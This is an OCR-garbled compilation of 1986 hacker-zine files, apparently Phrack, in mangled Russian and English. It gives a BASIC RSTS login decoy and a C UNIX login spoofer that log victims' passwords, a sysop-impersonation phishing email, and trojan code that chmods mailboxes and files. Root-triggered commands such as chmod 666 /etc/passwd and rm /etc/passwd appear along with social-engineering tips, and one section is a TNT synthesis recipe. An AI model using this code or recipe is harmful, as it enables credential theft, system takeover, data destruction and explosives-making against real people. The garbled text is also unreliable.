paboTte unu Ge3onacHoCTU (MHOrAa S HE yBEpPEH, HAMEPEHHbIe OHWU UNKU HeT). MU Hepeako MOXHO
Bocnonb3oBaTbcs. OOANH U3 U3BECTHbIX MHE — RPGDMP . TSK. YT0obbl €ro ncnonb3oBaTb, BBEAUTE:

RUN (1,2)RPGDMP

Mporpamma 3anpocuT nmsa ganna n yCTpoMCTBO BbiBOoga. YKaxuTe nobon dann B cucteme (COBETYIO
SMONEY, SREACT wnn SACCT.SYS), U OH OydeT BbIrPY)XEH Ha yKasaHHOe YCTPOWCTBO (dbl:, 3KpaH K
T.4.).

YecTb 0BHapy>XeHUS, pacKpbITUSA U pacnpocTpaHeHnsa 3aTon ownbkn npuHagnexut The Marauder ns LOD.

Ecnu Bbl HanpéTe gpyrne noxoxue 6arn, 9 6uin 661 pag, ecnu 6bl Bbl CBA3aANUCL CO MHOW M COOBLWMAN O
HUX.

MonyyeHne naponen

Tenepb, koraa Bbl, OyaeM HageAaTbCH, NONYYNnM NPUBUIETMN, MOXHO Npodormkutb. C6op naponen — ato
cBoero poga mepa OesonacHOCTM, MOAOGHAs CO34aHWI0 pe3epBHOM konmuu nporpammbl. Cnocobos
[0CTaTb Naponn HECKOMbKO; CaMblii MPOCTOW — UCMONb30BaTb NPUBUIErnK, HO 06 3TOM — B CrieayoLweM
danne. 3gech A onvLy METOA-MNOBYLLKY M TPHOK, KOTOPbIN S No6M0 NCMob30BaTh U HA3blBak «MOYTOBbLIM
MEeTOAOMY.

Noeyuwka (Decoy)

JloByLiKka, KOTOpPYH HepeOko HasbiBaloT «TPOSIHCKMM KOHEM» (XOTS 3TO HECKONbKO Apyroe), — 9To
nporpaMmma, nmmutupyowas 1ogin.bac. Korga Hu4ero He nogo3peBaroLLMin NofNb30BaTeb BBOAUT CBOW
aKKkayHT 1 napornb, Balla nporpaMmma CoXpaHsieT UX B hain, KOTOpbI Bbl NMOTOM CMOXeTe npoynTtaTth. BoTt
KopoTKas nporpaMma, KOTOpYto S Hanucan Ans 3Ton 3agadu:

BeeauTe NEW, 1 cucTeMa 3anpocuT ums daiina. BeegnTe 4To-HMOYOb HE CIIMLLKOM OYeBUIHOE.

1 ! RSTSE Decoy
2 ! Written by The Seker (c) 1986 TOK!
5 extend
10 print:print
20 &"RSTS V8.0-07 TOK Communications Ltd. Job 7 <Dial-up> KB4l
";date$(0);" ";time$ (0)
30 print
40 &"User: ";
50 open "KB:" for input as file 1
60 on error goto 300
70 input 1,proj%,prog%
80 z$=sys(chr$(3%))
90 &"Password: ";
100 on error goto 300
110 input 1,pass$
120 print:z$=sys(chrs$ (2%))
130 close 1
140 open "SYSLIB.BAC" for output as file 2
150 print 2,proj%
160 print
2,prog%
170 print 2,pass$
180 close 2
200 print:print
210 off$=sys(chr$(14%)+"bye/f"+chr$(13))
300 if erl=70 then goto 350
310 if erl=110 then goto 360



350 &"Invalid entry - try again":z$=sys(chr$(2%)):try=try+l:if try=5 then goto
200 else resume 30

360 &"Invalid entry - try again":try=try+l:if try=5 then goto 200 else resume
90

999 end

Mporpamma, Kak yxe ObIno cka3aHo, UMUTUPYET login.bac, a 3aTeM OTKMYaeT nonb3oBaTens nocne
Heckomnbkux nonbiTok. CoxpaHute nporpammy. 3aTem 3anyctute eé. Korga oHa crtapTyeT — MpocTo
cbpocbTe coeavHeHve. Cnegyrowmin NO3BOHMBLUMI B TeveHne 15 MUHYT nonyyuT Bawy nogdernbHyo
dopmy Bxoaa.

Ecnun Bbl paboTaeTe Ha 6onee ctapon cucteme, Hanpumep V7.0, nsmenute ctpoky 40:

40 &" ";

MPUMEYAHUE: Bbe3s moaoudukaumii ato He ByaeT paboTtaTtb Ha penusax nocrie V8.7. YnydweHHas u
O0BHOBINEHHasA Bepcusl aToM Nporpammbl OyaeT BbinyLleHa OTAENbHbIM hainioM No3gHee.

B CJ'IeLI,y}OLLI,I/IIZ pas3 npu BXxoge B CUCTEMY, 4YTOObI npo4nTaTb nepexeavyeHHble JaHHble, BBEAUTE!:

TYPE SYSLIB.BAC

LomxHbI pacneyaTtaTtbCA aKKayHT U nNaposib. Ecnu 3anyckatb nporpammy Kaxkabl pa3 nepen
OTKITHOYEHMEM Ha HECKOMbKO OHEW, Bbl HAKONUTE I'Ipl/lJ'IVIHHbIVI 3anac ,EI.eVICTByIOIJJ.I/IX aKKayHTOB.

MouTa (Mail)

qTO6bI3aHyCTMTb no4Ty, BBEgUTE!:

RUN $MAIL

MoyTOBbLIN METOA, BEPOSATHO, UCMONb3YETCA MHOTMMM Xakepamu, U NMOCKOSIbKY MHE OH TOXEe HpaBWUTCS, S
peLumn 0 HEM pacckasaTb.

Mpu 3anycke nporpaMmma cama 0GbACHUT, Kak eto nonb3oBaTkes. [peanonaras, YTo Bbl B LLENIOM 3HaKOMb
C Hel, nepenaém k geny. Llenb — oTnpaBnTb NNCbMO Apyromy rnonib3oBaTento u ybeanTs ero/eé, 4Tto Bbl
— CMCOM, 1 YTO BaM HyHa npoBepka naporns. He npoGyiTe 370 ¢ NpUBUNErMPOBaHHbLIM NoMb3oBaTenem
— 9TO MrHOBEHHas 6rOKMPOBKa.

[MprMMepHbIN TEKCT NMCbMa:

Hello. We are contacting each of the users and validating their records to
keep our files up to date. If you would cooperate and leave me a response which
includes your full name, account number, and password we would appreciate your
help.

John Doe
System's Operator
4,11
Kak Bugute, nges coctout B TOM, 4Tobbl yOeauTb nonb3oBaTtensi, OyATo Bbl — OOWH M3 ONepaTopoB
cuctembl. A Obl ckasan, 3TOT MeTof paboTaet npumepHo B 70% cnyyaeB B GONbLUMHCTBE CUCTEM,
MOCKOJbKY MOMb30BaTENM HEPEOKO HE 3HAKOMbl C cMconamm fimdHO. TOMNbKO UCMOMNb3ynTe Opyroe nvs —
John Doe Hukoro He obmaHeT. (MposiBuTe TBOpYecTBO.) Kpome Toro, 4, 11 — 3TO akKayHT, Ha KOTOPbIN
Bbl NpOCUTE NpucnaTb OTBET.

Ecnn xotute, moxeTte nonpobosaTb Bapuauun. Hanpumep, ecnv Ha B3nambiBAeMon CUCTEME €CTb
nporpamma yara:

RUN $TALK

MO>HO NPOCTO MOrOBOPUTL C HUMM B pearnbHOM BpemeHu. Minu ecrnv Bam Kakum-To obpasom (Hanpumep,
yepe3 Mycop) yAacTcs AocTaTb CMUCOK BCeX Mofb3oBaTeniel ¢ HoMepamu TenedOHOB — MOXHO



NO3BOHUTb UM U 3aroBOpuUTb 3y6bl.

MPUMEYAHUE: 3TOT AOKYMEHT nNpeAHa3HayYeH UCKMYNTENBHO B MHPOPMALUMOHHbBIX Lensax. ABTOp HU B
Koel Mepe He HeCET OTBETCTBEHHOCTU 3a TO, Kak OH OyaeT ucnonb3oBaH. Cuconbl MoryT cBobogHo
nyGrvMkoBaTb €ro N0 CBOEMY YCMOTPEHMIO NPW YCIOBUK, YTO coaepKallasaca MHopmMauus He M3MeHsieTcs
1 BCe NpaBa npusHatoTcs 3a The Seker.
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Xx xX
Xx AMEPUMKaHCKMIM OUMHAMMUT xX
Xx xX
Xx ApTOp: Rocker xX
Xx us xX
Xx Metallibashers Inc. xX
Xx xX
Xx nnsg: ==Phrack Inc.== xX
Xx xX

D16:9.6.9:6:9.6.9:6:9.6.9:6.:9:6.9:6.9:6.9:6.9:6:9.6.9:6:9.6.9:6.:9.6.9:6.9.6.9.¢
PeuenT:

Cwmewanite 170 yacten Tonyona co 100 yactamum kucnotbl. Knucnota coctout m3 2 yacten 70% asoTHON U
3 vacten 100% cepHom kucnoTbl. CmewwmBante Hwke 30 rpagycoB. OtctaBbTe Ha 30 MWHYT u panTe
pasgenutbcd. Bo3bMuTe MoHoHUTpoTONyon u cMmewante 100 ero yacten ¢ 215 yactamu kucnotbl. JTa
KMcnoTta CocTomuT M3 1 4acTm YMCTOM a30THOM M 2 YacTen Ynucton cepHow. MNogaepxusarite TemnepaTtypy
60-70 rpagycoB nNpu MegneHHoM cMmelumBaHumn. MNMogHumnte Temnepatypy Ao 90-100 u nepemelunante
30 MuHYT. OuHutpoTonyon otaenstoT n cmewwmsatoT 100 yacten atoro BewecTtBa ¢ 225 vactamm 20%
oneyma (310 100% cepHast Kucrnota C AOMOSNHUTENbHO pacTBOpéHHbIM 20% Tpuokcuaa cepbl) U 65
yacTaMKn a3oTHoW kucnoTel. Harpeavite npu 95 rpagycax B TedeHne 60 muHyT. 3atem npu 120 rpagycax
B TeveHne 90 MUHyT.

OTpenute TPUHUTPOTONYON M MPOMONTE ero B ropsayen Boge. O4nmcTMTE MOPOLLOK, BbIMaynBasi ero B
OeH3one.

Byans! AMepukaHckuin guHamuT!
Cnacubo S.A. 3a ngeto! Cnacmbo Phrack Inc. 3a 1o, 4To npocTo cnoHcupytoT!

He 3abyabTe No3BOHUTL MO 3TUM CUCTEMaM MOoCre TOro, KaKk Bbl YHUUTOXMTE Yel-To oM aTum THT...

Speed Demon Elite.......... 415/522-3074

High Times........coveunenn. 307-362-1736

Metalland South............ 404-576-5166

Brainstorm Elite........... 612-345-2815

Atlantis........ooiiiiin. 215-844-8836
MeTannuanpys,

The Rocker/MBI



TposHckne KoHu B UNIX

ABTOp: Shooting Shark (Tiburon Systems / RODENTZWARE) — 26.06.86

BBepeHue

«besonacHocte UNIX» — 31O okcioMopoH. Cuctema nerko noggaércs B3nomMy meTogom nepebopa
(6onbwmHcTBO UNIX-CcMcTem He cOpackiBaoT coeamHeHue nocne N HeygaudHbiX MOMbITOK BXoda, U
CYLLECTBYET psifi CTaHAAPTHBIX NIOrMHOB — root, bin, sys, uucp). Kak TonbKko Bbl B CUCTEME, MOXHO Nerko
nocTaBuTb €€ Ha KoneHu (cM. Moto npeabiayLyto ctatbio B Phrack — «UNIX Nasty Tricks»), unu, ecnm Bbl
HemHOoro 3Haete C, MOXHO 3acTaBuTb cucTeMy paboTaTb Ha Bac: MOMHOCTbIO ObonTn Gapbepbl
BesonacHocTn, co3aaTb COOCTBEHHbIE YYETHbIE 3anMMCK, YUTaTb Yyxkune cannbl M Tak ganee. B atom
ganne onucaHbl NogobHble cnocobbl ¢ npumepamy kofja Ha C, KOTOpble Bbl MOXeTe peanu3oBaTb
CaMOCTOATENBHO.

Tpe6oBaHus

Bam noHapobutca pabovas yy4étHaa 3anmcb Ha UNIX-cucteme. [Ons Haunyywmx pesynbTaToB 3TO
AorkHa 6biTb goctaToyHo nonHoueHHas Bepcua UNIX (Hanpumep, 4.2bsd wnnn AT&T System V),
paboTatowias Ha HacTtosiwen mawuHe (PDP/11, VAX, Pyramid v T.n.). Ecnu Bbl yuntechb 1 uMeeTe akkayHT
Ha LUKOMbHOM CepBepe — OH MOJOWAET OTINYHO.

MpumeyvaHuna

OT0T hann HaBesH cTaTbén n3 anpenbckoro Homepa BYTE 3a 1986 rog nog HassaHuem «Making UNIX
Secure». B Ton ctatbe aBTOpbl NULWYT: «Mbl NpegocTaBnseMm 3Ty MHopMauuio Tak, YTobbl oHa Obina,
HafeeMcsi, MIHTEPECHON 1 NONe3HOW, HO He OoXxoauna 0 YPOBHA "MOBapEeHHOM KHUMK B3nomwmka". Mol
HaMepeHHO onycTunu MHorne getanu.» £ cnegyto obuwen kaHBe TOW CTaTbW, NPUBOOSA KOHKPETHble
NpMMepbl METOO0B, KOTOPbIX OHU NNLLb KOCHYJUC.

He no teme: raoe-to 6poanT Hekun Tun nog HukoM «Lord British» (He TOT Lord British...). 310 nocnaHne
ana LB: «Fuck off and die.»

NTak, Ha4yHEM...

MpoekT nepBbIi: 0X0Ta Ha Naponu

OTO0 MOXHO peanusoBaTb, UMes NUb MUHUMarnbHble 3HaHMst UNIX n C. OgHako BaM HyXeH OOCTyn K
TepMUHany, KOTOpbIM MONb3YOTCA MHOIMME — HanpuMep, B KOMMbIOTEPHOM Krnacce Ballero y4yebHoro
3aBefeHus.

Mpu Bxoge Ha TunnyHyto UNIX-cnctemy Bbl BUAMTE NPUMEPHO cneaytoulee:

Tiburon Systems 4.2bsd / System V (shark)

login: shark
Password: (not printed)



Mporpamma, kOTOpyl S 34eCb MPUBOXY, MMUTUPYET MOCMedoBaTeNbHOCTL BXoda B cuctemy. Bebl
3anyckaete nporpamMmMmy Ha TepMmuHane u yxoaute. Kakon-Hmbyab Hesagadnuebil Nonb3oBaTenb
nogonaéT n BBeAET CBOM NTOTMH U Naposib. [JaHHble 3anuckiBatoTCcA B Bal dhalin, 3aTemM BbiBOAMTCS «login
incorrecty, mocne 4ero nonb3oBaTento npegnaralT BOWTU cHoBa. Bo BTopow pa3 yxe 3anyckaetcs
HacTosLas nporpaMmma Bxoaa. Ha aToT pa3 4enoBek yCcneLHo BXOAUT U HU O YEM He AoraabliBaeTcs.

BeeauTe cnegytowmn kog Ha cucteme B dhann nog HasBaHveM horse. c. Bam HyXHO nsmeHutb nepsble 8
CTPOK B COOTBETCTBUM C BUAOM BalLen CUCTEMBI.

/* this is what a 'C' comment looks like. You can leave them out. */

/* define's are like macros you can use for configuration. */

define SYSTEM "\n\nTiburon Systems 4.2bsd UNIX (shark)\n\n"

/* The above string should be made to look like the message that your
* system prints when ready. Each \n represents a carriage return.
*/

define LOGIN "login: "

/* The above is the login prompt. You shouldn't have to change it
* unless you're running some strange version of UNIX.

*/

define PASSWORD "password:"

/* The above is the password prompt. You shouldn't have to change
* it, either.

*/

define WAIT 2

/* The numerical value assigned to WAIT is the delay you get after
"password:" and before "login incorrect." Change it (0 = almost

*

* no delay, 5 = LONG delay) so it looks like your system's delay.
* realism is the key here - we don't want our target to become

* suspicious.

*/

define INCORRECT "Login incorrect.\n"

/* Change the above so it is what your system says when an incorrect
* login is given. You shouldn't have to change it.

*/
define FILENAME "stuff"

/* FILENAME is the name of the file that the hacked passwords will
* be put into automatically. 'stuff' is a perfectly good name.

*/

/* Don't change the rest of the program unless there is a need to
* and you know 'C'.

*/

include <curses.h>
include <signal.h>
int stop();

main ()

{

char name[10], password[1l0];
int i;

FILE *fp, *fopen();

signal (SIGINT, stop) ;
initscr();

printf (SYSTEM) ;



printf (LOGIN) ;

scanf ("$["\n]",name) ;
getchar () ;

noecho () ;

printf (PASSWORD) ;

scanf ("$[*\n]", password) ;

printf ("\n");

getchar();

echo () ;

sleep (WAIT) ;

if ( ( fp = fopen (FILENAME,"a") ) = NULL ) {
fprintf (fp, "login %s has password %$s\n",name,password);
fclose (fp);

}

printf (INCORRECT) ;
endwin () ;

}

stop ()
{
endwin () ;
exit (0);
}

WTak, Kak 9 u ckasan, BBeauTe Ko Bbille U HaCTpOﬁTe ero Tak, 4YTobbl OH B TOYHOCTU noBTOpPAN
nocrniegoBaTeNibHOCTL BXOA4A Ballel CUCTEMBbI. qTO6bICKOMHMﬂMpOBaTb nporpaMmmy horse.c, BBEguUTe

crieayoume aBe KoMaHabl (CMMBOM % — 3TO MPOCTO MPUMep MpurfalleHns KOMaHOHOW CTPOKW, ero
BBOAWTb HE HYXHO):

o°

cc horse.c -lcurses -ltermcap
mv a.out horse

o

Tenepb pabounin 06BEKTHBIN KOA HaxoauTcs B dpanne horse. 3anyctute e€ro U, €CnNmn OH He MOXOX Ha
3KpaH BXoAa BalUen CUCTEMbI, OTPeAaKTUpynTe horse.c U nepekomnunupyinte. Korga 6ygete rotosbl
NPUMEHNTb NPOrpaMMmy Ha NpakTuke, co3fdanTe HOBbIN (hain 1 Ha30BUTE ero, Hanpumep, trap. B trap
OOIMKHbI ObITb ABE KOMaHAbI:

horse (this runs your program)
login (this runs the real login program)

YTobbl BLINOMHUTL trap, BBEOUTE:

o

% source trap (again, don't type the %)
MOTOﬁﬂMTeOTTepMMHaHam

Mocne HeckonbKMX ycneLlHbIX 3anyckoB NpoBepbTe Balwl dann stuff (Mnu kak 6bl Bbl €ro HYU Ha3Barnm).
OH OypeT BbIrmMageTb NPUMEPHO Tak:
user john has password secret

user mary has password smegma
etc.

MepenuwwnTe 3T Naponu, 3ateM yganute dann (cynepnonb3oBaTernb MOXeT YBUAeTb ero, u a1o byget
OYEHb komnpoMeTupytoLen ynmnkon).

MpumeyaHue: ana Havny4vwmnx pesynbTaToB Ball TepMuUHan AormkeH OblTb HACTPOEH Ha TanMm-ayT nocne
HECKOJbKUX MUHYT 6e30eNCTBUST — MHa4e Balla nporpaMmmMa-KoHb 6yaeT BuceTb 14 4acoB, €CNnn HUKTO He
nogonaéT K TepMuHany.

Crnepyouwme NpoekTbl MOXHO peanuaoBaTb Ha yAanéHHon cucteme — Hanpumep, Ha VAX B MuuunraHe,
KOTopbI Bbl B3riomanu, unm Ha UNIX-cucteme daptmyTa, nnm Ha nobon gpyron. OgHako oHWM TpebyoT



HEeKOTOpbIX 3HaHuK s3blka C. OHM He ansa HoBu4vkoB B UNIX.

Korga KTo-TO 3anyckaeT nporpaMMy, OH SABSIETCS BragenibLieM CO34aHHOro npouecca, U ata nporpaMmma
MOXEeT AenaTtb BCE TO, YTO Mor Obl coenaTtb OH caM: yaansTb dpanin B ero AMPEeKTopuMu UM OTKpbIBaTb
CBOU (hannbl ONs YTeHUS OPYruMu.

Korga ntogu coxpaHsaoT cTapyto noyty, nonydyeHHyto B UNIX-cucteme, oHa nomellaeTcs B ¢hann mbox B
X JomaliHen aupektopun. IToT hann ObiBaeT BecbMa MWHTEPECHbIM AN YTEHMs, HO OObIYHO
HeJOCTyrneH HUKOMY, KpoMe ero Briagenbua. BoT kopoTkad nporpamma, koTopasi oTKpoeT (To eCTb
BbINONTHUT chmod 777 — no3BONWUT KOMY YrOAHO B CUCTEME 4YMTaTb, NMUCATb U BbIMOMHATL) dpann mbox
nonb3oBaTensi, 3anyCcTMBLLErO 3Ty NPOrpamMMmy:

include <pwd.h>

struct passwd *getpwnam (name) ;
struct passwd *p;
char buf[255];

main ()

{

p = getpwnam(getlogin());

sprintf (buf,"%$s/%s",p->pw_dir, "mbox") ;

if ( access(buf,0) > -1 ) {
sprintf (buf, "chmod 777 %$s/%s",p->pw_dir, "mbox");
system (buf) ;
}

}

BosHukaeT BONpoC: kak 3aCTaBUTh XEPTBY 3anyCTUTb 3Ty NporpamMmmy U3 Moemn QUPEeKTopmmn?

Ecnn B cucteme ectb 4To-TO Bpoae nybnuyHbix coobuwieHuin (B 4.xbsd BBeauTe msgs), Bbl MOXeETe
peknamupoBaTb TaM CBOK nporpammy. [omectute npuBeAEHHbIN KOO BHYTPb APYron nporpammbl —
HakguTe YTUNUTY WK Urpy B KakoM-HMOyab xypHane Ttuna UNIX WORLD, moguduuupynte e€ un
nobaBbTe ONMCaHHbLIN BbIlE KO TaK, YTOObl OH BLINOMNHAMNCSA nepen OCHOBHOW byHkuMen. [onycTum, y
BaC eCTb MporpaMma KpeCTUKU-HOMMWKWU, U Bbl M3MEHUNN €€ Tak, 4Tobbl OHa OTKpbiBana cann mbox
nonb3oBaTens nepef Havanom urpbl — Torga Hanuwute: «Y MeHst ecTb HoBas nporpaMma ans
KpeCTUKOB-HOMMWKOB, Mnonpobyinte obssaTensHo. OHa B Moen AupekTopuu» U ToMy nogobHoe. Ecnu
BO3MOXHOCTM 00BbSBUTL BCEM Yepe3 NybnnyHoe coobLieHne HET, MPOCTO OTNPaBbTe NMMCbMO KOHKPETHbBIM
NOAsAM, KOTOPbIX Bbl XOTUTE NOMMaTb.

Ecnu HanTu HaCTOALYH nporpamMmy AOnd MO,D,I/I(bVIKaU,I/IVI He noly4yaeTcd, NpoCToO BO3bMUTE NporpaMmmy
Bblle 1 gobasbTe 3Ty CTPOKY Mexay ABYMS 3aKpblBalOLLMMK } B KOHLIE NpOorpammbil:

printf ("Error opening tic-tac-toe data file. Sorry!\n");

Mpn 3anycke nporpamma BbiBeOeT 3TO coobuieHne o6 owubke. MNonb3oBaTens nogymaeT: «XMm, 3TOT
napeHb He ymeeT HanucaTb Aake MPOCTble KPECTUKU-HOMMKUl» — HO CMEETCH MOocregHun TOT, KTO
cMeéTcs. Tenepb Bbl MOXETE YUNTaTb Er0 MNOYTY.

Ecnn Bac uWHTepecyeT KOHKPETHbI dhann B OUPEKTOpMM MNonb3oBaTens (4ONyCTUM, OH Ha3biBaeTcs
secret), HabpocanTe BOT Takylo NporpaMmmy:

main ()

{

if ( access("secret",0) > -1 ) system("chmod 777 secret");

}

3aTem MoroBopuTe C HUM 4Yepes3 talk UNKN write U NPUTBOPUTECH HEOMBLITHLIM HOBUYKOM: «A Hanucan
nporpammy super_star_wars, He Mor Obl Tbl €€ MOTECTUPOBATL?»

[ante Bonto cbaHTasun. MNMpuaymante KOMaHAy, KOTOPYK XOTUTE, YTODObI KTO-TO BbINOMHWA. NMomecTute eé
B BbI30B system () B mporpamme Ha C n obmaHoM 3acTaBbTe Lefb 3anyCTuTb Bally nporpammy!

A BOT 04Y€Hb U3SALLHbIA CNOCO6 NPUMEHNTL ONUCAHHbLIA NPUEM:



MpoekT TpeTun: ctatb cynepnosib3oBaTesiemM

HanuwwuTte nporpaMmmy, KOTOpyto Bbl CMOXeTe YGeauTb Koro-To 3anyctutb. [ae-HWbyab B Hell momectute
CTPOKY:

if ( !strcmp(getlogin(),"root") ) system("whatever you want");

370 nposepsieT, 3anylleHa nu Balla nporpamma ¢ NIorMHoM root. Ecnv ga — MOXHO BbINOMHUTL J06YH0
komaHzy 060o4kM Ha Bal Bbibop. BOT HeCckornbko BapnaHTOB:

"chmod 666 /etc/passwd"

/etc/passwd — chaiin naponei cuctembl. Bnageet um root. O6blMHO BCe MOryT unTaTb ero (naponwu
3alMdpoBaHbl), HO 3anuUCbiBaTb B HErO MOXET TOMbKO root. MocMoTpuTe, Kak OH OThopMaTMpPOBaH, ecnu
ewé He 3HaeTe. OTa kOMaHAa OTKpPbIBAET BaM BO3MOXHOCTb 3aMnuCbiBaTb B HEr0O — TO €CTb CO3aBaTb
HeorpaHM4YeHHOe KONMYECTBO YYETHBIX 3anuncei ansa cebs n gpyseil.

"chmod 666 /etc/group"

[obaBuB cebs B HEKOTOpPbIE PyMMbl C BLICOKMM YPOBHEM AOCTYNA, Bbl OTKPOETE Nepes cobov MHOXECTBO
OBepen.

"chmod 666 /usr/lib/uucp/L.sys"

MonwmTe 3TOT (hann B BalLen cucteme, €Cnm oHa NOAKNIYEHa K ceTn uucp. B HEM cogepxaTtca Homepa
[03BOHa M Naponv K ApyrMM cucTemMam B CETU, U B OObIYHbIX YCIOBUSAX NPOYUTaTb €r0 MOXET TOMbKO
agMUHUCTpaTop uucp. BeisicHWTe, KTO BnageeT 3aTnM ¢painom, U 3acTaBbTE €r0 HEOCO3HAHHO BbINOSHUTL
nporpamMmy, OTKpbIBaloLLy0 ero Ans sac.

"rm /etc/passwd"

Ecnn Bam ygactcs 3actaBuTb root BbIMOMHUTL 3Ty kKOMaHzZy, dann naponen cuctembl Oyaet ygané,
cucTemMa ynagéT v Josroe BPeMs HE CMOXET NOAHATLCS. DTO KpaiHe A4eCTPYKTUBHOE AENCTBUE.

Ecnn Bbl cobupaeTtecb BHeOpSATb NMpOrpammy-TPOSIHCKOTO KOHSI B CUCTEMY, crieqyeT NpuaepXmBaTbCH
Heckomnbkux npasun. Ecnu ckpbiTas Lenb nporpammbl MacwtabHa (Hanpumep, OTKpbITUE YY)KOro mbox
unn ypaneHve Bcex ero pannos), He CTOWUT BCTpauBaTb BPEAOHOCHLIA KOA4 B MPOrpammy, KOTOpYHo
3anyckalwT 4acTo (Hanpumep, B MOMYNSPHYH Urpy) — Kak TONbKO Moau obHapyxaT, 4To ux cannsl B
OTKPbITOM [OCTYNe, UCTOYHMK npobrembl OyoeT HamaeH odeHb nerko. MNpubepernte 3Ty uenb Ans
«TECTOBOW» MPOrpaMmbl (CKaXkeM, Urpbl, KOTOPYHO Bbl SKODObI NULLETE), KOTOPYHO MO NOYTe UMK B NIUYHOM
pasroBope MONpocuTe 3anyCTUTb KOHKPETHOro 4ernoBeka. Kak yxe roBopurocb, Takasd «TecToBasi»
nporpamMma MOXET 3aBEpPLUNTbLCA C OLMOKOW WM BbIBECTU (PUKTUBHOE COOOLLEHWE O Hel nocne
BbINOMHEHNS 3a4a4u, a Bbl NPOCTO CKaXeTe yenoseky: «Hy, BUAMMO, HyXHO gopaboTatby», NOAOXAETE,
noka OH BbIAEeT U3 CUCTEMbI, U NpoYMTaeTe TOT dhain, KOTOpbIA Bbl OTKPLIIW. ECnn e Ball TPOSIHCKMiA
KOHb HanpaBneH TMNPOTMB KOHKPETHOrO Monb3oBaTend — Hanpumep, root wnu  gpyroro
NPVBUINErMpoBaHHOIO NOMb30BaTens, — BCTPOMTE COOTBETCTBYHOLLMI KOA B NPOrpamMmmy, KOTOPYH 4acTo
3anyckalT pasHble nonb3oBaTenu cuctembl. Bawa mogudumkaums byget 6esgencrsoBaTe OO TeX Mop,
noka UMEHHO OH He 3anycTUT nporpammy. Ecrnv Bbl HE MOXeTe HalWTu UCXofHbI kop «Star Trek» nnu
yero-To nogobHoro Ha C, npocTo BblydnTe C 1 nepeBeauTte 4To-HMOYAb ¢ Pascal. Yuutb C He nomeluaeT
— 3TO OTNNYHbIN A3bIK. Mbl TONBLKO YTO yBMAENU, 4To OH YMeeT B UNIX-cucteme. Kak Tonbko Bbl nomanm
root (To ecTb MONy4UnM BO3MOXHOCTb U3MEHATb /etc/passwd), yAanute MULIHWUIA KOA U3 TPOSIHCKON
nporpamMmmbl — W Bac HUKOrAa He HanayT.

Bot n BCE... ecrin Y BaC €CTb BONPOCbl, KOMMEHTapuun, nnmn Bbl NPOCTO XOTUTE BbICKa3aTbCA — MNO3BOHUTE!
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Oryan QUEST npotuB Dan Pasquale

21 voHn 1986 ropa

Ja, Haw npusaTenb ¢ west coast cHoBa B Aene, Ha aToT pa3 npotuB Oryan QUEST. Oryan QUEST 6bin
busted 6 anpena 1986 roga, cm. PWN Issue IV Part 2, 3a hacking AT&T Mail, San Mateo Police
Department n FBI. M3-3a legal technicalities obBuHeHnsa Obinu dropped, HoO computer Oryan 6bin
confiscated and never returned. C Tex nop oH kynun HoBbIi computer, IBM AT, n Tenepb cHoBa cpeau
Hac.

Cuutaetcq, yto kT0-T0, Dan Pasquale, gomkHo 6bITh, Hawén notebook Oryan, roe cogepxanucb ero
passwords Ha bulletin boards around the country. OguH npumep — The Radio Station Incident,
cm. PWN Issue IV Part 3, roe fake Oryan QUEST wandered the BBS u, korga ero cnpocunu o legitimacy,
quickly dropped carrier.

Coscem HepaBHo Oryan QUEST nonyyan job offers in computer security. He hasn't accepted any at this
time. Tarke oH nony4un Heckonbko calls from Dan Pasquale. Dan wants Oryan's help to bust any and all
hackers/phreaks. Dan is very pissed these days because someone charged 1100 dollars worth of Alliance
Teleconferences to his phone bill, and now he wants revenge.

OH stated that one of his main projects is to bust P-80, sysoped by Scan Man. Dan Pasquale says that
Scan Man works for a long distance communications carrier. Personally, | think he has as much of a
chance of busting P-80 Systems as a snowball staying frozen in a microwave.

Let's face it: if John Maxfield and the other investigators haven't busted P-80 yet, they never will, let alone
some little police sergeant in California.

Dan also added that he is going to hose Speed Demon Elite. He claims that he is already a member of
SDE and that it's only a matter of time before he takes it down forever. He also mentioned that he has
placed a Dialed Number Recorder, DNR, on Radical Rocker's phone lines. Furthermore, it was learned
that Dan Pasquale managed to get an account onto The Underground, sysoped by Night Stalker. It is
unknown whether Dan has anything to do with Night Stalker's bust.

Dan Pasquale also said: T will bust these hackers any way I can! To really understand what
that statement means, you would probably have to live in California. What Pasquale was referring to was
moving violations. If you, a driver under 21, receive any type of moving violation, both your insurance
company and your parents are notified. This raises your insurance rates and gets you into trouble. If you
get two moving violations, kiss your license goodbye for at least two years.

Radical Rocker, having heard about Dan Pasquale's plans to destroy Speed Demon Elite, went on a user
purge and has destroyed any and all accounts held by those he did not know personally. Speed Demon
Elite is now a private BBS, and supposedly Radical Rocker has now cleared things up with Dan Pasquale.

Information provided by Oryan QUEST and Radical Rocker

Marx and Tabas: the full story



1 uronsa 1986 roaga

It all started with Cory Andrew Lindsly, aka Mark Tabas, age 19. He worked for the Colorado Plastic Card
Company and had access to the plastic cards that credit cards were made with. He had taken 1350 and
stashed them away for later usage.

His plan would have gone perfectly if not for Steve Dahl. He was busted in Miami by the U.S. Secret
Service for whatever reasons. They gave him a chance to play ball. Dahl had heard about Mark Tabas and
Karl Marx's scheme, and after informing the Secret Service about this he was given an embossing
machine.

Steve Dahl then flew to Denver and set up the meeting. Mark Tabas lived in Denver and wanted his friend
James Price Salsman, aka Karl Marx, age 18, to join in on the fun. So Marx flew down on a carded plane
ticket that Tabas had signed for.

The meeting took place in a room at the Denver Inn. The room was bugged, and 19 cards, Visa,
MasterCard and some blanks, were made from a possible 140 that they had brought. They decided to
celebrate by ordering champagne on the card of Cecil R. Downing.

A member of the Secret Service actually delivered the champagne to the room disguised as a waiter.
Tabas signed for the drinks and the twosome were nailed. To make matters worse, the Secret Service also
matched Tabas's signature with the signature used to buy the carded plane ticket.

The sentencing goes like this:

Maximum: 10,000 dollars (Local Law)
Maximum: 250,000 dollars (Federal Law)
Maximum: 10 years in jail (both)

Or any combination of the three.

Both Tabas and Marx were let out on bail of five thousand dollars each. The actual charge is: the
manufacturing and possession of unauthorized access devices. U.S. Magistrate Hilbert Schauer will be
overseeing the case.

There is a rumor that charges on Salsman were dropped and that he is in no trouble at all, since he didn't
actually buy the plane ticket, he was given it, he didn't steal the cards, and he didn't emboss them. So
supposedly the Secret Service let Marx go because he didn't know about the cards; he was just there at
the wrong time.

Information provided by The Denver Post and Sally Ride:::Space Cadet

The Saga Of Mad Hacker

15 vions 1986 roga

Mad Hacker of 616 NPA wrote a random Compuserve hacker because he was bored and wanted
something to do. It ran constantly for about a week, and he was surprised when it came up with an
account. However, he made the mistake of not checking to see whose account it was. He used the SIGs,
Special Interest Groups, and ran up a bill slightly under 300 dollars.

